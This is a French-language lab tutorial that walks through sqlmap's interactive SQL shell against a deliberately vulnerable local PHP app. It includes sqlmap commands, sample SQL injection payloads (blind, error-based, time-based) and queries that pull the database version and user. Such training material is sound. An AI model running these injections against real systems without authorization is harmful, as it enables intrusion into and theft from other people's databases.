Utiliser le shell SQL interactif dans sqlmap

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous allez explorer l'une des fonctionnalités les plus puissantes de sqlmap : le shell SQL interactif. sqlmap est un outil open-source de test d'intrusion qui automatise le processus de détection et d'exploitation des failles d'injection SQL et de prise de contrôle des serveurs de base de données.

Bien que sqlmap puisse automatiser l'extraction de données, l'option --sql-shell vous offre un accès direct et interactif à la base de données backend. Cela vous permet d'exécuter des requêtes SQL personnalisées, vous donnant ainsi une plus grande flexibilité et un meilleur contrôle lors d'un test d'intrusion. Vous apprendrez comment établir une injection, lancer le shell et exécuter des commandes pour interroger la base de données.

Établir une injection réussie sur une cible

Dans cette étape, vous utiliserez sqlmap pour scanner une application web et confirmer qu'elle est vulnérable à l'injection SQL. Notre script de configuration a déjà créé une application PHP simple et vulnérable fonctionnant sur le serveur Apache local. Nous devons pointer sqlmap vers l'URL cible et le laisser effectuer l'analyse initiale.

Tout d'abord, exécutez la commande sqlmap suivante dans votre terminal. Nous utilisons le drapeau -u pour spécifier l'URL cible et --batch pour exécuter en mode non interactif, en acceptant toutes les réponses par défaut.

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap effectuera une série de tests. Attendez qu'il ait terminé. La sortie montrera que le paramètre GET id est vulnérable. Cette confirmation est la première étape nécessaire avant de pouvoir passer à l'exploitation.

Vous devriez voir une sortie similaire à celle-ci, confirmant la vulnérabilité :

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

Lancer le shell SQL interactif avec --sql-shell

Dans cette étape, vous utiliserez l'option --sql-shell pour obtenir une invite SQL interactive sur la base de données cible. Maintenant que vous avez confirmé le point d'injection, vous pouvez demander à sqlmap de vous fournir un accès direct.

Exécutez la même commande sqlmap qu'auparavant, mais cette fois, remplacez l'option --batch par --sql-shell.

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap reconfirmera l'injection, puis vous présentera une invite spéciale : sql-shell>. Cela indique que vous êtes maintenant dans une session interactive avec la base de données backend. Toute requête SQL valide pour le SGBD cible (que nous savons être MySQL) peut être exécutée à partir de cette invite.

La sortie ressemblera à ceci :

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Exécuter une requête SQL personnalisée comme SELECT @@version

Dans cette étape, vous exécuterez votre première commande dans le shell SQL interactif. Cela démontrera votre capacité à interroger directement la base de données. Une requête courante pour commencer est de vérifier la version de la base de données.

À l'invite sql-shell>, tapez la requête SQL suivante et appuyez sur Entrée. N'oubliez pas d'inclure le point-virgule à la fin.

SELECT @@version;

sqlmap prendra votre requête, l'injectera dans le paramètre vulnérable, l'enverra au serveur et vous retournera le résultat. La variable @@version dans MySQL renvoie une chaîne contenant la version du serveur de base de données.

Vous verrez la version de la base de données imprimée directement sur votre console :

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

Exécuter une autre requête personnalisée comme SELECT user()

Dans cette étape, vous exécuterez une autre requête pour explorer davantage la base de données. Cela renforce le concept de contrôle interactif. Découvrons quel utilisateur de base de données l'application web utilise pour se connecter à la base de données.

À l'invite sql-shell>, tapez la requête SELECT user() et appuyez sur Entrée.

SELECT user();

Cette commande demande à la base de données de renvoyer le nom d'utilisateur et l'hôte de la session actuelle. Il s'agit d'informations précieuses pour comprendre le niveau de privilège de votre injection.

La sortie affichera l'utilisateur de la base de données, que nous avons configuré dans le script de configuration :

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

Quitter le shell SQL interactif et revenir au terminal

Dans cette dernière étape, vous apprendrez comment quitter correctement le shell SQL interactif et revenir à votre invite de terminal standard.

Pour quitter le sql-shell>, tapez simplement exit ou quit et appuyez sur Entrée.

exit

sqlmap fermera la session et vous ramènera au répertoire ~/project dans votre terminal Zsh. Ceci conclut la session interactive avec la base de données.

La sortie confirmera que la session se termine :

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

Vous avez maintenant utilisé avec succès le shell interactif de sqlmap pour exécuter des requêtes personnalisées et êtes revenu à votre ligne de commande habituelle.

Résumé

Dans ce laboratoire, vous avez appris avec succès à utiliser l'une des fonctionnalités les plus puissantes de sqlmap, le shell SQL interactif.

Vous avez commencé par identifier une vulnérabilité d'injection SQL dans une application cible à l'aide d'un scan sqlmap de base. Ensuite, vous avez exploité cette vulnérabilité en lançant une session interactive avec le drapeau --sql-shell. À l'intérieur de ce shell, vous avez exécuté des requêtes SQL personnalisées comme SELECT @@version; et SELECT user(); pour interroger directement la base de données et récupérer des informations. Enfin, vous avez appris à quitter le shell et à revenir à votre terminal. Cette compétence est essentielle pour tout testeur d'intrusion qui a besoin d'un contrôle précis sur une base de données compromise.